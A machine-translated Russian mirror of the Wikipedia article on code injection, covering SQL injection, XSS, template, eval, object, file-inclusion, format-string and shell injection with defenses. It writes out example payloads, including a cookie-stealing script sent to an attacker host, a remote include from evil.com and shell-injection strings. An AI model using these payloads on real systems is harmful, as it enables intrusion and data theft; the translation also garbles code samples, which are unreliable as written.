Jump to content

Внедрение кода

(Перенаправлено из командной инъекции )

Внедрение кода — это класс эксплойтов компьютерной безопасности , при которых уязвимая компьютерная программа обманом заставляет ошибочно интерпретировать внешние данные как часть своего кода. Тем самым злоумышленник в вводит (или «внедряет») код программу и изменяет ход ее выполнения . Результат успешного внедрения кода может быть катастрофическим, например, из-за компьютерных вирусов или компьютерных червей распространения .

Уязвимости внедрения кода возникают, когда приложение отправляет интерпретатору ненадежные данные . Ошибки внедрения чаще всего встречаются в SQL , LDAP , XPath , NoSQL запросах XML , командах ОС, анализаторах , заголовках SMTP , аргументах программы и т. д. Ошибки внедрения обычно легче обнаружить при изучении исходного кода, чем при тестировании. [1] Сканеры и фаззеры могут помочь найти дефекты внедрения. [2]

Внедрение может привести к потере или повреждению данных , отсутствию ответственности или отказу в доступе . Иногда внедрение может привести к полному захвату хоста.

Определенные типы внедрения кода представляют собой ошибки в интерпретации, придающие особое значение пользовательскому вводу. Подобные ошибки интерпретации существуют и за пределами мира информатики, например, в комедии «Кто первый?» . В рутине не удается отличить имена собственные от обычных слов. Аналогично, при некоторых типах внедрения кода невозможно отличить ввод пользователя от системных команд.

Методы внедрения кода популярны при взломе с систем целью получения информации, повышения привилегий или несанкционированного доступа к системе. Внедрение кода может быть использовано злонамеренно для многих целей, в том числе:

Атаки с внедрением кода в Интернете вещей также могут привести к серьезным последствиям, таким как утечка данных и сбой в работе служб. [3]

В 2008 году 5,66% всех обнаруженных в этом году уязвимостей были классифицированы как внедрение кода, что является самым высоким показателем за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%. [4]

Доброкачественное и непреднамеренное использование

[ редактировать ]

Внедрение кода можно использовать с благими намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без каких-либо злонамеренных намерений. [5] [6] Внедрение кода может, например:

  • Добавьте новый полезный столбец, которого не было в исходном дизайне страницы результатов поиска.
  • Предложите новый способ фильтрации, упорядочивания или группировки данных с помощью поля, не представленного в функциях по умолчанию исходного дизайна.
  • Что касается таких программ, как Dropbox , добавьте в автономную программу специальные части, которые можно было бы использовать для подключения к онлайн-ресурсам.
  • Используйте динамический компоновщик Linux, чтобы определить функцию с тем же именем, что и у некоторых функций libc , связать эту функцию как библиотеку и переопределить использование функции libc. [7]

Некоторые пользователи могут ничего не подозревая выполнять внедрение кода, поскольку входные данные, которые они предоставляют программе, не были учтены теми, кто изначально разработал систему. Например:

  • То, что пользователь может считать допустимым вводом, может содержать символы-лексемы или строки символов , которые были зарезервированы разработчиком для того, чтобы иметь особое значение (например, «&» в «Шеннон и Джейсон» или кавычки, как в «Баб 'Слаггер' Маккракен»). ").
  • Пользователь может отправить в качестве входных данных искаженный файл, который корректно обрабатывается в одном приложении, но является токсичным для принимающей системы.

Еще одним полезным применением внедрения кода может быть обнаружение самих дефектов внедрения с целью их исправления. Это известно как «белой шляпы» тест на проникновение .

Предотвращение проблем

[ редактировать ]

Чтобы предотвратить проблемы с внедрением кода, используйте безопасную обработку ввода и вывода, например:

  • Использование API, которые при правильном использовании защищены от всех входных символов. Параметризованные запросы (также известные как «скомпилированные запросы», «подготовленные операторы», «связанные переменные») позволяют перемещать пользовательские данные из строки для интерпретации. Дополнительно API критериев [8] и подобные API отходят от концепции командных строк, которые необходимо создавать и интерпретировать.
  • Обеспечение разделения языков с помощью статической системы типов . [9]
  • Проверка входных данных, например внесение в белый список только известных правильных значений. Это можно выполнить на стороне клиента, например, с помощью JavaScript, или на стороне сервера, что более безопасно.
  • Кодирование ввода, например, экранирование опасных символов. Например, в PHP с помощью htmlspecialchars() функция экранирования специальных символов для безопасного вывода текста в HTML и mysqli::real_escape_string() для изоляции данных, которые будут включены в SQL-запрос, для защиты от SQL-инъекций.
  • Кодирование вывода, т.е. предотвращение HTML Injection (XSS) на посетителей веб-сайта. атак
  • HttpOnly — это флаг для файлов cookie HTTP , который, если он установлен, не позволяет сценарию на стороне клиента взаимодействовать с файлами cookie, тем самым предотвращая определенные атаки XSS. [10]
  • Модульное отделение оболочки от ядра
  • С помощью SQL-инъекции можно использовать параметризованные запросы , хранимые процедуры , проверку ввода белого списка и многое другое, чтобы уменьшить проблемы внедрения кода. [11]

Перечисленные выше решения в основном касаются внедрения кода HTML или сценария через Интернет в серверное приложение. Однако необходимо использовать другие подходы при внедрении пользовательского кода на пользовательскую машину, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изоляции управляемых и неуправляемых внедрений кода:

  • Проверка хеша образа во время выполнения — захватывает хэш части или полного образа исполняемого файла, загруженного в память, и сравнивает его с сохраненным и ожидаемым хешем.
  • Бит NX – все пользовательские данные хранятся в специальных разделах памяти, которые помечены как неисполняемые. Процессор узнает, что в этой части памяти нет кода, и отказывается выполнять все, что там находится.
  • Канарейки – случайное размещение значений в стеке. Во время выполнения канарейка проверяется при возврате функции. Если канарейка была изменена, программа останавливает выполнение и завершает работу. Это происходит при атаке переполнения стека .
  • [В C] Маскирование указателя кода (CPM) — после загрузки (потенциально измененного) указателя кода в регистр применяется битовая маска к указателю . Это эффективно ограничивает адреса, на которые может ссылаться указатель. [12]

SQL-инъекция

[ редактировать ]

SQL-инъекция использует преимущества синтаксиса SQL для внедрения вредоносных команд, которые могут читать или изменять базу данных или скомпрометировать смысл исходного запроса. [13]

Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код страницы сгенерирует SQL- запрос для проверки пароля по списку имен пользователей:

ВЫБЕРИТЕ   список пользователей  .  Имя пользователя  ИЗ   UserList  ГДЕ   UserList  .  Имя пользователя   =   'Имя пользователя'  И   Список пользователей  .  Пароль   =   'Пароль' 

Если этот запрос возвращает какие-либо строки, доступ предоставляется. Однако если злонамеренный пользователь вводит допустимое имя пользователя и вводит действительный код ( password' OR '1'='1) в поле Пароль, то результирующий запрос будет выглядеть так:

ВЫБЕРИТЕ   список пользователей  .  Имя пользователя  ИЗ   UserList  ГДЕ   UserList  .  Имя пользователя   =   'Имя пользователя'  И   Список пользователей  .  Пароль   =   'пароль'   ИЛИ   ​​'1'  =  '1' 

В приведенном выше примере предполагается, что «Пароль» — это пустая строка или какая-то безобидная строка. " '1'='1'" всегда будет истинным, и будет возвращено много строк, тем самым разрешая доступ.

Эту технику можно усовершенствовать, чтобы разрешить выполнение нескольких операторов или даже загрузку и запуск внешних программ.

Предположим, запрос имеет следующий формат:

ВЫБЕРИТЕ   Пользователя  .  ID пользователя  ОТ   пользователя  ГДЕ   Пользователь  .  UserID   =   ' " + UserID + " '  И   Пользователь  .  Pwd   =   ' " + Пароль + " ' 

Если противник имеет следующие входные данные:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

запрос будет проанализирован следующим образом:

ВЫБЕРИТЕ   Пользователя  .  ID пользователя  ОТ   пользователя  ГДЕ   Пользователь  .  Идентификатор пользователя   =   ''  ;  УДАЛЕНИЕ   ТАБЛИЦЫ   Пользователь  ;   --'И Pwd = ''ИЛИ"=' 

В результате таблица User будут удалены из базы данных. Это происходит потому, что ; символ означает конец одной команды и начало новой. -- означает начало комментария.

Межсайтовый скриптинг

[ редактировать ]

Внедрение кода — это вредоносное внедрение или внедрение кода в приложение. На некоторых веб-серверах есть сценарий гостевой книги , который принимает небольшие сообщения от пользователей и обычно получает такие сообщения, как:

Очень хороший сайт! 

Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение:

Хороший сайт, думаю, возьму.  <  скрипт  >  окно  .  location  =  ?steal="   +   escape  (  document.cookie  )  "https: //some_attacker/evilcgi/cookie.cgi  </  script  > 

Если другой пользователь просматривает страницу, введенный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако эта же программная ошибка может быть случайно вызвана скромным пользователем, что приведет к отображению на веб-сайте неправильного HTML-кода.

Внедрение HTML и скриптов — популярная тема, обычно называемая « межсайтовым скриптингом » или «XSS». XSS относится к ошибке внедрения, при которой пользовательский ввод в веб-скрипт или что-то в этом роде помещается в выходной HTML без проверки на наличие HTML-кода или сценария.

Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с влиянием специальных данных. [14]

Внедрение шаблонов на стороне сервера

[ редактировать ]

Механизмы шаблонов часто используются в современных веб-приложениях для отображения динамических данных. Однако доверие к непроверенным пользовательским данным часто может привести к критическим уязвимостям. [15] например, внедрение шаблонов на стороне сервера. Хотя эта уязвимость аналогична межсайтовому скриптингу , внедрение шаблонов может быть использовано для выполнения кода на веб-сервере, а не в браузере посетителя. Он нарушает общий рабочий процесс веб-приложений, которые часто используют пользовательские данные и шаблоны для отображения веб-страницы. Пример ниже демонстрирует эту концепцию. Вот шаблон {{visitor_name}} заменяется данными в процессе рендеринга.

Здравствуйте, {{visitor_name}} 

Злоумышленник может использовать этот рабочий процесс для внедрения кода в конвейер рендеринга, предоставив вредоносный код. visitor_name. В зависимости от реализации веб-приложения он мог внедрить {{7*'7'}} который рендерер мог бы разрешить Hello 7777777. Обратите внимание, что реальный веб-сервер оценил вредоносный код и поэтому может быть уязвим для удаленного выполнения кода .

Уязвимости динамической оценки

[ редактировать ]

Ан eval() Уязвимость внедрения возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в eval() функциявызов. [16]

$myvar   =   'некоторое значение'  ;  $x   =   $_GET  [  'аргумент'  ];  eval  (  '$myvar = '   .   $x   .   ';'  ); 

Аргумент " eval" будет обрабатываться как PHP , поэтому можно добавлять дополнительные команды. Например, если для "arg" установлено значение " 10; system('/bin/echo uh-oh')", запускается дополнительный код, который выполняет программу на сервере, в данном случае " /bin/echo".

Внедрение объектов

[ редактировать ]

PHP позволяет сериализовать и десериализовать целые объекты . Если в функцию десериализации разрешен ненадежный ввод, можно перезаписать существующие классы в программе и выполнить вредоносные атаки. [17] Подобная атака на Joomla была обнаружена в 2013 году. [18]

Удаленное внедрение файлов

[ редактировать ]

Рассмотрим эту программу PHP (которая включает файл, указанный по запросу):

<?php  $color   =   'синий'  ;  if   (  isset  (  $_GET  [  'color'  ]))      $color   =   $_GET  [  'color'  ];  требуется  (  $color   .   '.php'  ); 

Пример может быть прочитан как только цветные файлы, такие как blue.php и red.php могут быть загружены, в то время как злоумышленники могут предоставить COLOR=http://evil.com/exploit заставляя PHP загружать внешний файл.

Внедрение спецификатора формата

[ редактировать ]

Ошибки формата строки чаще всего возникают, когда программист хочет напечатать строку, содержащую предоставленные пользователем данные. Программист может ошибочно написать printf(buffer) вместо printf("%s", buffer). Первая версия интерпретирует buffer как строку формата и анализирует все инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как и задумал программист.Рассмотрим следующую короткую программу на языке C, имеющую массив локальных переменных char. password который содержит пароль; программа запрашивает у пользователя целое число и строку, а затем выводит предоставленную пользователем строку.

  символ   user_input  [  100  ];    интервал   int_in  ;    символьный   пароль  [  10  ]   =   "Пароль1"  ;    printf  (  "Введите целое число  \n  "  );    scanf  (  "%d"  &   ;  int_in  )    printf  (  "Пожалуйста, введите строку  \n  "  );    fgets  (  user_input  ,   sizeof  (  user_input  ),   stdin  );      печать  (  user_input  );   // Безопасная версия: printf("%s", user_input);    printf  (  "  \n  "  );    вернуть   0  ; 

Если пользовательский ввод заполнен списком спецификаторов формата, например %s%s%s%s%s%s%s%s , затем printf()начнет читать из стека . В конце концов, один из %s спецификатор формата получит доступ к адресу password , который находится в стеке, и распечатайте Password1 на экран.

Инъекция оболочки

[ редактировать ]

Впрыск снаряда (или командный впрыск [19] ) назван в честь оболочек Unix , но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого tcsh- скрипта:

#!/bin/tcsh  # проверка вывода arg, если он соответствует, если arg один  , if   (  $1   ==  1  )   echo  он соответствует 

Если вышеуказанное хранится в исполняемом файле ./check, команда оболочки ./check " 1 ) evil" попытается выполнить введенную команду оболочки evil вместо сравнения аргумента с постоянным. Здесь атакуемый код — это код, который пытается проверить параметр, тот самый код, который мог пытаться проверить параметр, чтобы защититься от атаки. [20]

Любая функция, которую можно использовать для составления и запуска команды оболочки, является потенциальным средством для запуска атаки с использованием оболочки. Среди них system(), StartProcess(), и System.Diagnostics.Process.Start().

Клиент-серверные системы, такие как веб-браузера взаимодействие с веб-серверами, потенциально уязвимы для внедрения оболочки. Рассмотрим следующую короткую программу PHP , которую можно запустить на веб-сервере для запуска внешней программы под названием funnytext чтобы заменить слово, отправленное пользователем, другим словом.

<?php  passthru  (  "/bin/funnytext"   .   $_GET  [  'USER_INPUT'  ]); 

The passthru в приведенном выше примере составляет команду оболочки, которая затем выполняется веб-сервером. Поскольку часть команды, которую он составляет, берется из URL-адреса, предоставленного веб-браузером, это позволяет URL-адресу внедрять вредоносные команды оболочки. В эту программу можно внедрить код несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим): [21]

Функция оболочки USER_INPUT ценить Результирующая команда оболочки Объяснение
Последовательное исполнение ; malicious_command/bin/funnytext ; malicious_commandВыполняет funnytext, затем выполняет close_command.
Трубопроводы | malicious_command/bin/funnytext | malicious_commandОтправляет вывод funnytext в качестве входных данных для malicious_command.
Замена команды `malicious_command`/bin/funnytext `malicious_command`Отправляет вывод malicious_command в качестве аргументов funnytext.
Замена команды $(malicious_command)/bin/funnytext $(malicious_command)Отправляет вывод malicious_command в качестве аргументов funnytext.
И список && malicious_command/bin/funnytext && malicious_commandВыполняет malicious_command если только funnytext возвращает статус выхода 0 (успех).
ИЛИ список || malicious_command/bin/funnytext || malicious_commandВыполняет malicious_command если только funnytext возвращает ненулевой статус выхода (ошибка).
Перенаправление вывода > ~/.bashrc/bin/funnytext > ~/.bashrcПерезаписывает содержимое .bashrc файл с выводом funnytext.
Перенаправление ввода < ~/.bashrc/bin/funnytext < ~/.bashrcОтправляет содержимое .bashrc файл в качестве входных данных для funnytext.

Некоторые языки предлагают функции для правильного экранирования или кавычек строк, которые используются для создания команд оболочки:

Однако это по-прежнему возлагает на программистов обязанность знать/изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверять или очищать вводимые пользователем данные.

Более безопасная альтернатива — использовать API, которые выполняют внешние программы напрямую, а не через оболочку, что предотвращает возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и/или являются более громоздкими/многословными по сравнению с кратким синтаксисом оболочки.

См. также

[ редактировать ]
  1. ^ «10 основных уязвимостей безопасности веб-приложений» . Пенн Компьютинг . Пенсильванский университет. Архивировано из оригинала 24 февраля 2018 года . Проверено 10 декабря 2016 г.
  2. ^ «Топ-10 OWASP 2013 A1: Недостатки внедрения» . ОВАСП . Проверено 19 декабря 2013 г.
  3. ^ Номан, Хайтам Амин; Абу-Шарх, Усама М.Ф. (январь 2023 г.). «Атаки с помощью внедрения кода в беспроводном Интернете вещей (IoT): комплексный обзор и практические реализации» . Датчики . 23 (13): 6067. Бибкод : 2023Senso..23.6067N . дои : 10.3390/s23136067 . ISSN   1424-8220 . ПМЦ   10346793 . ПМИД   37447915 .
  4. ^ «НВД — Поиск статистики» . web.nvd.nist.gov . Проверено 9 декабря 2016 г.
  5. ^ Шринивасан, Рагунатан. «На пути к более эффективным детекторам вирусов» (PDF) . Университет штата Аризона . Архивировано из оригинала (PDF) 29 июля 2010 года . Проверено 18 сентября 2010 г. Доброжелательное использование внедрения кода происходит, когда пользователь меняет поведение программы в соответствии с системными требованиями.
  6. ^ Моралес, Хосе Андре; Карталтепе, Эрхан; Сюй, Шоухуай; Сандху, Рави (2010). «Обнаружение бот-процессов на основе симптомов». Безопасность компьютерных сетей . Конспекты лекций по информатике. Том. 6258. Берлин, Гейдельберг: Springer. стр. 229–241. CiteSeerX   10.1.1.185.2152 . дои : 10.1007/978-3-642-14706-7_18 . ISBN  978-3-642-14705-0 . ISSN   0302-9743 .
  7. ^ «Трюки с динамическим компоновщиком: использование LD_PRELOAD для мошенничества, внедрения функций и исследования программ» . Блог Рафала Чеслака . 2 апреля 2013 года . Проверено 10 декабря 2016 г.
  8. ^ «Учебное пособие по Java EE 6: глава 35. Использование Criteria API для создания запросов» . Оракул . Проверено 19 декабря 2013 г.
  9. ^ Мертель, Том (18 октября 2006 г.). «Решение «проблемы строк» ​​на основе типов: достойное завершение дыр XSS и SQL-инъекций?» . Блог Тома Мортеля . Проверено 21 октября 2018 г.
  10. ^ «HttpOnly» . ОВАСП . 12 ноября 2014 года . Проверено 10 декабря 2016 г.
  11. ^ «Шпаргалка по предотвращению SQL-инъекций» . ОВАСП . Проверено 10 декабря 2016 г.
  12. ^ Филиппаертс, Питер; и др. (1 июня 2013 г.). «CPM: маскирование указателей кода для предотвращения атак путем внедрения кода» (PDF) . Транзакции ACM по информационной и системной безопасности . 16 (1): 1–27. дои : 10.1145/2487222.2487223 . ISSN   1094-9224 . S2CID   10947780 .
  13. ^ Чжо, З.; Кай, Т.; Чжан, X.; Льв, Ф. (12 марта 2021 г.). «Долгая краткосрочная память на абстрактном синтаксическом дереве для обнаружения SQL-инъекций» . Программное обеспечение ИЭПП . 15 (2): 188–197. дои : 10.1049/sfw2.12018 . ISSN   1751-8806 . S2CID   233582569 .
  14. ^ Надеюсь, Брайан; Надеюсь, Пако; Вальтер, Бен (15 мая 2009 г.). Справочник по тестированию веб-безопасности . Севастополь, Калифорния: O'Reilly Media . п. 254 . ISBN  978-0-596-51483-9 . OCLC   297573828 .
  15. ^ «Внедрение шаблонов на стороне сервера» . Исследование ПортСвиггера . 5 августа 2015 года . Проверено 22 мая 2022 г.
  16. ^ Стивен М. Кристи (3 мая 2006 г.). «Уязвимости динамической оценки в приложениях PHP» . Полное раскрытие информации (список рассылки) . Проверено 21 октября 2018 г.
  17. ^ «Десериализовать предупреждения функций» . PHP.net.
  18. ^ «Анализ уязвимости внедрения PHP-объектов Joomla» . Проверено 6 июня 2014 г.
  19. ^ «Введение команды» . ОВАСП.
  20. ^ Дуглас В. Джонс, Заметки по CS:3620, Лекция 4 — Скрипты оболочки , весна 2018 г.
  21. ^ «Внедрение команд — библиотека Black Hat» . Архивировано из оригинала 27 февраля 2015 года . Проверено 27 февраля 2015 г.
[ редактировать ]
Arc.Ask3.Ru: конец переведенного документа.
Arc.Ask3.Ru
Номер скриншота №: 4a5e99df5f68602f5a442d0c58f6562a__1721715960
URL1:https://arc.ask3.ru/arc/aa/4a/2a/4a5e99df5f68602f5a442d0c58f6562a.html
Заголовок, (Title) документа по адресу, URL1:
Code injection - Wikipedia
Данный printscreen веб страницы (снимок веб страницы, скриншот веб страницы), визуально-программная копия документа расположенного по адресу URL1 и сохраненная в файл, имеет: квалифицированную, усовершенствованную (подтверждены: метки времени, валидность сертификата), открепленную ЭЦП (приложена к данному файлу), что может быть использовано для подтверждения содержания и факта существования документа в этот момент времени. Права на данный скриншот принадлежат администрации Ask3.ru, использование в качестве доказательства только с письменного разрешения правообладателя скриншота. Администрация Ask3.ru не несет ответственности за информацию размещенную на данном скриншоте. Права на прочие зарегистрированные элементы любого права, изображенные на снимках принадлежат их владельцам. Качество перевода предоставляется как есть. Любые претензии, иски не могут быть предъявлены. Если вы не согласны с любым пунктом перечисленным выше, вы не можете использовать данный сайт и информация размещенную на нем (сайте/странице), немедленно покиньте данный сайт. В случае нарушения любого пункта перечисленного выше, штраф 55! (Пятьдесят пять факториал, Денежную единицу (имеющую самостоятельную стоимость) можете выбрать самостоятельно, выплаичвается товарами в течение 7 дней с момента нарушения.)